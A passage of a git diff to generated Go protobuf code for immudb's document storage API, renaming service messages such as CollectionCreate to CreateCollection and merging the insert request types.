0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, + 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x76, 0x65, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x76, 0x65, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x76, + 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, + 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xb0, 0x01, 0x5a, + 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, + 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, + 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, + 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, + 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, + 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, + 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, + 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, + 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2561,108 +2436,103 @@ func file_documents_proto_rawDescGZIP() []byte { } var file_documents_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 37) +var file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 35) var file_documents_proto_goTypes = []interface{}{ - (FieldType)(0), // 0: immudb.model.FieldType - (ComparisonOperator)(0), // 1: immudb.model.ComparisonOperator - (*CollectionCreateRequest)(nil), // 2: immudb.model.CollectionCreateRequest - (*CollectionCreateResponse)(nil), // 3: immudb.model.CollectionCreateResponse - (*Field)(nil), // 4: immudb.model.Field - (*Index)(nil), // 5: immudb.model.Index - (*CollectionGetRequest)(nil), // 6: immudb.model.CollectionGetRequest - (*CollectionGetResponse)(nil), // 7: immudb.model.CollectionGetResponse - (*Collection)(nil), // 8: immudb.model.Collection - (*CollectionListRequest)(nil), // 9: immudb.model.CollectionListRequest - (*CollectionListResponse)(nil), // 10: immudb.model.CollectionListResponse - (*CollectionDeleteRequest)(nil), // 11: immudb.model.CollectionDeleteRequest - (*CollectionDeleteResponse)(nil), // 12: immudb.model.CollectionDeleteResponse - (*CollectionUpdateRequest)(nil), // 13: immudb.model.CollectionUpdateRequest - (*CollectionUpdateResponse)(nil), // 14: immudb.model.CollectionUpdateResponse - (*IndexCreateRequest)(nil), // 15: immudb.model.IndexCreateRequest - (*IndexCreateResponse)(nil), // 16: immudb.model.IndexCreateResponse - (*IndexDeleteRequest)(nil), // 17: immudb.model.IndexDeleteRequest - (*IndexDeleteResponse)(nil), // 18: immudb.model.IndexDeleteResponse - (*DocumentInsertRequest)(nil), // 19: immudb.model.DocumentInsertRequest - (*DocumentInsertResponse)(nil), // 20: immudb.model.DocumentInsertResponse - (*DocumentInsertManyRequest)(nil), // 21: immudb.model.DocumentInsertManyRequest - (*DocumentInsertManyResponse)(nil), // 22: immudb.model.DocumentInsertManyResponse - (*DocumentUpdateRequest)(nil), // 23: immudb.model.DocumentUpdateRequest - (*DocumentUpdateResponse)(nil), // 24: immudb.model.DocumentUpdateResponse - (*DocumentSearchRequest)(nil), // 25: immudb.model.DocumentSearchRequest - (*Query)(nil), // 26: immudb.model.Query - (*QueryExpression)(nil), // 27: immudb.model.QueryExpression - (*FieldComparison)(nil), // 28: immudb.model.FieldComparison - (*OrderByClause)(nil), // 29: immudb.model.OrderByClause - (*DocumentSearchResponse)(nil), // 30: immudb.model.DocumentSearchResponse - (*DocumentAtRevision)(nil), // 31: immudb.model.DocumentAtRevision - (*DocumentMetadata)(nil), // 32: immudb.model.DocumentMetadata - (*DocumentAuditRequest)(nil), // 33: immudb.model.DocumentAuditRequest - (*DocumentAuditResponse)(nil), // 34: immudb.model.DocumentAuditResponse - (*DocumentProofRequest)(nil), // 35: immudb.model.DocumentProofRequest - (*DocumentProofResponse)(nil), // 36: immudb.model.DocumentProofResponse - (*DocumentDeleteRequest)(nil), // 37: immudb.model.DocumentDeleteRequest - (*DocumentDeleteResponse)(nil), // 38: immudb.model.DocumentDeleteResponse - (*structpb.Struct)(nil), // 39: google.protobuf.Struct - (*structpb.Value)(nil), // 40: google.protobuf.Value - (*schema.VerifiableTxV2)(nil), // 41: immudb.schema.VerifiableTxV2 + (FieldType)(0), // 0: immudb.model.FieldType + (ComparisonOperator)(0), // 1: immudb.model.ComparisonOperator + (*CreateCollectionRequest)(nil), // 2: immudb.model.CreateCollectionRequest + (*CreateCollectionResponse)(nil), // 3: immudb.model.CreateCollectionResponse + (*Field)(nil), // 4: immudb.model.Field + (*Index)(nil), // 5: immudb.model.Index + (*GetCollectionRequest)(nil), // 6: immudb.model.GetCollectionRequest + (*GetCollectionResponse)(nil), // 7: immudb.model.GetCollectionResponse + (*Collection)(nil), // 8: immudb.model.Collection + (*GetCollectionsRequest)(nil), // 9: immudb.model.GetCollectionsRequest + (*GetCollectionsResponse)(nil), // 10: immudb.model.GetCollectionsResponse + (*DeleteCollectionRequest)(nil), // 11: immudb.model.DeleteCollectionRequest + (*DeleteCollectionResponse)(nil), // 12: immudb.model.DeleteCollectionResponse + (*UpdateCollectionRequest)(nil), // 13: immudb.model.UpdateCollectionRequest + (*UpdateCollectionResponse)(nil), // 14: immudb.model.UpdateCollectionResponse + (*CreateIndexRequest)(nil), // 15: immudb.model.CreateIndexRequest + (*CreateIndexResponse)(nil), // 16: immudb.model.CreateIndexResponse + (*DeleteIndexRequest)(nil), // 17: immudb.model.DeleteIndexRequest + (*DeleteIndexResponse)(nil), // 18: immudb.model.DeleteIndexResponse + (*InsertDocumentsRequest)(nil), // 19: immudb.model.InsertDocumentsRequest + (*InsertDocumentsResponse)(nil), // 20: immudb.model.InsertDocumentsResponse + (*UpdateDocumentRequest)(nil), // 21: immudb.model.UpdateDocumentRequest + (*UpdateDocumentResponse)(nil), // 22: immudb.model.UpdateDocumentResponse + (*SearchDocumentsRequest)(nil), // 23: immudb.model.SearchDocumentsRequest + (*Query)(nil), // 24: immudb.model.Query + (*QueryExpression)(nil), // 25: immudb.model.QueryExpression + (*FieldComparison)(nil), // 26: immudb.model.FieldComparison + (*OrderByClause)(nil), // 27: immudb.model.OrderByClause + (*SearchDocumentsResponse)(nil), // 28: immudb.model.SearchDocumentsResponse + (*DocumentAtRevision)(nil), // 29: immudb.model.DocumentAtRevision + (*DocumentMetadata)(nil), // 30: immudb.model.DocumentMetadata + (*AuditDocumentRequest)(nil), // 31: immudb.model.AuditDocumentRequest + (*AuditDocumentResponse)(nil), // 32: immudb.model.AuditDocumentResponse + (*ProveDocumentRequest)(nil), // 33: immudb.model.ProveDocumentRequest + (*ProveDocumentResponse)(nil), // 34: immudb.model.ProveDocumentResponse + (*DeleteDocumentsRequest)(nil), // 35: immudb.model.DeleteDocumentsRequest + (*DeleteDocumentsResponse)(nil), // 36: immudb.model.DeleteDocumentsResponse + (*structpb.Struct)(nil), // 37: google.protobuf.Struct + (*structpb.Value)(nil), // 38: google.protobuf.Value + (*schema.VerifiableTxV2)(nil), // 39: immudb.schema.VerifiableTxV2 } var file_documents_proto_depIdxs = []int32{ - 4, // 0: immudb.model.CollectionCreateRequest.fields:type_name -> immudb.model.Field - 5, // 1: immudb.model.CollectionCreateRequest.indexes:type_name -> immudb.model.Index + 4, // 0: immudb.model.CreateCollectionRequest.fields:type_name -> immudb.model.Field + 5, // 1: immudb.model.CreateCollectionRequest.indexes:type_name -> immudb.model.Index 0, // 2: immudb.model.Field.type:type_name -> immudb.model.FieldType - 8, // 3: immudb.model.CollectionGetResponse.collection:type_name -> immudb.model.Collection + 8, // 3: immudb.model.GetCollectionResponse.collection:type_name -> immudb.model.Collection 4, // 4: immudb.model.Collection.fields:type_name -> immudb.model.Field 5, // 5: immudb.model.Collection.indexes:type_name -> immudb.model.Index - 8, // 6: immudb.model.CollectionListResponse.collections:type_name -> immudb.model.Collection - 39, // 7: immudb.model.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 39, // 8: immudb.model.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct - 26, // 9: immudb.model.DocumentUpdateRequest.query:type_name -> immudb.model.Query - 39, // 10: immudb.model.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct - 26, // 11: immudb.model.DocumentSearchRequest.query:type_name -> immudb.model.Query - 27, // 12: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression - 29, // 13: immudb.model.Query.orderBy:type_name -> immudb.model.OrderByClause - 28, // 14: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison - 1, // 15: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator - 40, // 16: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value - 31, // 17: immudb.model.DocumentSearchResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 32, // 18: immudb.model.DocumentAtRevision.metadata:type_name -> immudb.model.DocumentMetadata - 39, // 19: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct - 31, // 20: immudb.model.DocumentAuditResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 41, // 21: immudb.model.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 - 26, // 22: immudb.model.DocumentDeleteRequest.query:type_name -> immudb.model.Query - 2, // 23: immudb.model.DocumentService.CollectionCreate:input_type -> immudb.model.CollectionCreateRequest - 6, // 24: immudb.model.DocumentService.CollectionGet:input_type -> immudb.model.CollectionGetRequest - 9, // 25: immudb.model.DocumentService.CollectionList:input_type -> immudb.model.CollectionListRequest - 11, // 26: immudb.model.DocumentService.CollectionDelete:input_type -> immudb.model.CollectionDeleteRequest - 13, // 27: immudb.model.DocumentService.CollectionUpdate:input_type -> immudb.model.CollectionUpdateRequest - 15, // 28: immudb.model.DocumentService.IndexCreate:input_type -> immudb.model.IndexCreateRequest - 17, // 29: immudb.model.DocumentService.IndexDelete:input_type -> immudb.model.IndexDeleteRequest - 19, // 30: immudb.model.DocumentService.DocumentInsert:input_type -> immudb.model.DocumentInsertRequest - 21, // 31: immudb.model.DocumentService.DocumentInsertMany:input_type -> immudb.model.DocumentInsertManyRequest - 23, // 32: immudb.model.DocumentService.DocumentUpdate:input_type -> immudb.model.DocumentUpdateRequest - 25, // 33: immudb.model.DocumentService.DocumentSearch:input_type -> immudb.model.DocumentSearchRequest - 33, // 34: immudb.model.DocumentService.DocumentAudit:input_type -> immudb.model.DocumentAuditRequest - 35, // 35: immudb.model.DocumentService.DocumentProof:input_type -> immudb.model.DocumentProofRequest - 37, // 36: immudb.model.DocumentService.DocumentDelete:input_type -> immudb.model.DocumentDeleteRequest - 3, // 37: immudb.model.DocumentService.CollectionCreate:output_type -> immudb.model.CollectionCreateResponse - 7, // 38: immudb.model.DocumentService.CollectionGet:output_type -> immudb.model.CollectionGetResponse - 10, // 39: immudb.model.DocumentService.CollectionList:output_type -> immudb.model.CollectionListResponse - 12, // 40: immudb.model.DocumentService.CollectionDelete:output_type -> immudb.model.CollectionDeleteResponse - 14, // 41: immudb.model.DocumentService.CollectionUpdate:output_type -> immudb.model.CollectionUpdateResponse - 16, // 42: immudb.model.DocumentService.IndexCreate:output_type -> immudb.model.IndexCreateResponse - 18, // 43: immudb.model.DocumentService.IndexDelete:output_type -> immudb.model.IndexDeleteResponse - 20, // 44: immudb.model.DocumentService.DocumentInsert:output_type -> immudb.model.DocumentInsertResponse - 22, // 45: immudb.model.DocumentService.DocumentInsertMany:output_type -> immudb.model.DocumentInsertManyResponse - 24, // 46: immudb.model.DocumentService.DocumentUpdate:output_type -> immudb.model.DocumentUpdateResponse - 30, // 47: immudb.model.DocumentService.DocumentSearch:output_type -> immudb.model.DocumentSearchResponse - 34, // 48: immudb.model.DocumentService.DocumentAudit:output_type -> immudb.model.DocumentAuditResponse - 36, // 49: immudb.model.DocumentService.DocumentProof:output_type -> immudb.model.DocumentProofResponse - 38, // 50: immudb.model.DocumentService.DocumentDelete:output_type -> immudb.model.DocumentDeleteResponse - 37, // [37:51] is the sub-list for method output_type - 23, // [23:37] is the sub-list for method input_type - 23, // [23:23] is the sub-list for extension type_name - 23, // [23:23] is the sub-list for extension extendee - 0, // [0:23] is the sub-list for field type_name + 8, // 6: immudb.model.GetCollectionsResponse.collections:type_name -> immudb.model.Collection + 37, // 7: immudb.model.InsertDocumentsRequest.documents:type_name -> google.protobuf.Struct + 24, // 8: immudb.model.UpdateDocumentRequest.query:type_name -> immudb.model.Query + 37, // 9: immudb.model.UpdateDocumentRequest.document:type_name -> google.protobuf.Struct + 24, // 10: immudb.model.SearchDocumentsRequest.query:type_name -> immudb.model.Query + 25, // 11: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression + 27, // 12: immudb.model.Query.orderBy:type_name -> immudb.model.OrderByClause + 26, // 13: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison + 1, // 14: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator + 38, // 15: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value + 29, // 16: immudb.model.SearchDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 30, // 17: immudb.model.DocumentAtRevision.metadata:type_name -> immudb.model.DocumentMetadata + 37, // 18: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct + 29, // 19: immudb.model.AuditDocumentResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 39, // 20: immudb.model.ProveDocumentResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 + 24, // 21: immudb.model.DeleteDocumentsRequest.query:type_name -> immudb.model.Query + 2, // 22: immudb.model.DocumentService.CreateCollection:input_type -> immudb.model.CreateCollectionRequest + 6, // 23: immudb.model.DocumentService.GetCollection:input_type -> immudb.model.GetCollectionRequest + 9, // 24: immudb.model.DocumentService.GetCollections:input_type -> immudb.model.GetCollectionsRequest + 13, // 25: immudb.model.DocumentService.UpdateCollection:input_type -> immudb.model.UpdateCollectionRequest + 11, // 26: immudb.model.DocumentService.DeleteCollection:input_type -> immudb.model.DeleteCollectionRequest + 15, // 27: immudb.model.DocumentService.CreateIndex:input_type -> immudb.model.CreateIndexRequest + 17, // 28: immudb.model.DocumentService.DeleteIndex:input_type -> immudb.model.DeleteIndexRequest + 19, // 29: immudb.model.DocumentService.InsertDocuments:input_type -> immudb.model.InsertDocumentsRequest + 21, // 30: immudb.model.DocumentService.UpdateDocument:input_type -> immudb.model.UpdateDocumentRequest + 35, // 31: immudb.model.DocumentService.DeleteDocuments:input_type -> immudb.model.DeleteDocumentsRequest + 23, // 32: immudb.model.DocumentService.SearchDocuments:input_type -> immudb.model.SearchDocumentsRequest + 31, // 33: immudb.model.DocumentService.AuditDocument:input_type -> immudb.model.AuditDocumentRequest + 33, // 34: immudb.model.DocumentService.ProveDocument:input_type -> immudb.model.ProveDocumentRequest + 3, // 35: immudb.model.DocumentService.CreateCollection:output_type -> immudb.model.CreateCollectionResponse + 7, // 36: immudb.model.DocumentService.GetCollection:output_type -> immudb.model.GetCollectionResponse + 10, // 37: immudb.model.DocumentService.GetCollections:output_type -> immudb.model.GetCollectionsResponse + 14, // 38: immudb.model.DocumentService.UpdateCollection:output_type -> immudb.model.UpdateCollectionResponse + 12, // 39: immudb.model.DocumentService.DeleteCollection:output_type -> immudb.model.DeleteCollectionResponse + 16, // 40: immudb.model.DocumentService.CreateIndex:output_type -> immudb.model.CreateIndexResponse + 18, // 41: immudb.model.DocumentService.DeleteIndex:output_type -> immudb.model.DeleteIndexResponse + 20, // 42: immudb.model.DocumentService.InsertDocuments:output_type -> immudb.model.InsertDocumentsResponse + 22, // 43: immudb.model.DocumentService.UpdateDocument:output_type -> immudb.model.UpdateDocumentResponse + 36, // 44: immudb.model.DocumentService.DeleteDocuments:output_type -> immudb.model.DeleteDocumentsResponse + 28, // 45: immudb.model.DocumentService.SearchDocuments:output_type -> immudb.model.SearchDocumentsResponse + 32, // 46: immudb.model.DocumentService.AuditDocument:output_type -> immudb.model.AuditDocumentResponse + 34, // 47: immudb.model.DocumentService.ProveDocument:output_type -> immudb.model.ProveDocumentResponse + 35, // [35:48] is the sub-list for method output_type + 22, // [22:35] is the sub-list for method input_type + 22, // [22:22] is the sub-list for extension type_name + 22, // [22:22] is the sub-list for extension extendee + 0, // [0:22] is the sub-list for field type_name } func init() { file_documents_proto_init() } @@ -2672,7 +2542,7 @@ func file_documents_proto_init() { } if !protoimpl.UnsafeEnabled { file_documents_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionCreateRequest); i { + switch v := v.(*CreateCollectionRequest); i { case 0: return &v.state case 1: @@ -2684,7 +2554,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionCreateResponse); i { + switch v := v.(*CreateCollectionResponse); i { case 0: return &v.state case 1: @@ -2720,7 +2590,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionGetRequest); i { + switch v := v.(*GetCollectionRequest); i { case 0: return &v.state case 1: @@ -2732,7 +2602,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionGetResponse); i { + switch v := v.(*GetCollectionResponse); i { case 0: return &v.state case 1: @@ -2756,7 +2626,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionListRequest); i { + switch v := v.(*GetCollectionsRequest); i { case 0: return &v.state case 1: @@ -2768,7 +2638,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionListResponse); i { + switch v := v.(*GetCollectionsResponse); i { case 0: return &v.state case 1: @@ -2780,7 +2650,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionDeleteRequest); i { + switch v := v.(*DeleteCollectionRequest); i { case 0: return &v.state case 1: @@ -2792,7 +2662,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionDeleteResponse); i { + switch v := v.(*DeleteCollectionResponse); i { case 0: return &v.state case 1: @@ -2804,7 +2674,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionUpdateRequest); i { + switch v := v.(*UpdateCollectionRequest); i { case 0: return &v.state case 1: @@ -2816,7 +2686,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionUpdateResponse); i { + switch v := v.(*UpdateCollectionResponse); i { case 0: return &v.state case 1: @@ -2828,7 +2698,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*IndexCreateRequest); i { + switch v := v.(*CreateIndexRequest); i { case 0: return &v.state case 1: @@ -2840,7 +2710,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*IndexCreateResponse); i { + switch v := v.(*CreateIndexResponse); i { case 0: return &v.state case 1: @@ -2852,7 +2722,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*IndexDeleteRequest); i { + switch v := v.(*DeleteIndexRequest); i { case 0: return &v.state case 1: @@ -2864,7 +2734,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*IndexDeleteResponse); i { + switch v := v.(*DeleteIndexResponse); i { case 0: return &v.state case 1: @@ -2876,7 +2746,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentInsertRequest); i { + switch v := v.(*InsertDocumentsRequest); i { case 0: return &v.state case 1: @@ -2888,7 +2758,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentInsertResponse); i { + switch v := v.(*InsertDocumentsResponse); i { case 0: return &v.state case 1: @@ -2900,7 +2770,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentInsertManyRequest); i { + switch v := v.(*UpdateDocumentRequest); i { case 0: return &v.state case 1: @@ -2912,7 +2782,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentInsertManyResponse); i { + switch v := v.(*UpdateDocumentResponse); i { case 0: return &v.state case 1: @@ -2924,7 +2794,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentUpdateRequest); i { + switch v := v.(*SearchDocumentsRequest); i { case 0: return &v.state case 1: @@ -2936,7 +2806,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentUpdateResponse); i { + switch v := v.(*Query); i { case 0: return &v.state case 1: @@ -2948,7 +2818,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchRequest); i { + switch v := v.(*QueryExpression); i { case 0: return &v.state case 1: @@ -2960,7 +2830,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Query); i { + switch v := v.(*FieldComparison); i { case 0: return &v.state case 1: @@ -2972,7 +2842,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*QueryExpression); i { + switch v := v.(*OrderByClause); i { case 0: return &v.state case 1: @@ -2984,7 +2854,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*FieldComparison); i { + switch v := v.(*SearchDocumentsResponse); i { case 0: return &v.state case 1: @@ -2996,7 +2866,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*OrderByClause); i { + switch v := v.(*DocumentAtRevision); i { case 0: return &v.state case 1: @@ -3008,7 +2878,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchResponse); i { + switch v := v.(*DocumentMetadata); i { case 0: return &v.state case 1: @@ -3020,7 +2890,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAtRevision); i { + switch v := v.(*AuditDocumentRequest); i { case 0: return &v.state case 1: @@ -3032,7 +2902,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentMetadata); i { + switch v := v.(*AuditDocumentResponse); i { case 0: return &v.state case 1: @@ -3044,7 +2914,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAuditRequest); i { + switch v := v.(*ProveDocumentRequest); i { case 0: return &v.state case 1: @@ -3056,7 +2926,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAuditResponse); i { + switch v := v.(*ProveDocumentResponse); i { case 0: return &v.state case 1: @@ -3068,7 +2938,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentProofRequest); i { + switch v := v.(*DeleteDocumentsRequest); i { case 0: return &v.state case 1: @@ -3080,31 +2950,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentProofResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documents_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentDeleteRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documents_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentDeleteResponse); i { + switch v := v.(*DeleteDocumentsResponse); i { case 0: return &v.state case 1: @@ -3122,7 +2968,7 @@ func file_documents_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_documents_proto_rawDesc, NumEnums: 2, - NumMessages: 37, + NumMessages: 35, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/protomodel/documents.pb.gw.go b/pkg/api/protomodel/documents.pb.gw.go index 125380745c..36226be45a 100644 --- a/pkg/api/protomodel/documents.pb.gw.go +++ b/pkg/api/protomodel/documents.pb.gw.go @@ -33,8 +33,8 @@ var _ = utilities.NewDoubleArray var _ = descriptor.ForMessage var _ = metadata.Join -func request_DocumentService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionCreateRequest +func request_DocumentService_CreateCollection_0(ctx context.Context, marshaler runtime.Marshaler, client 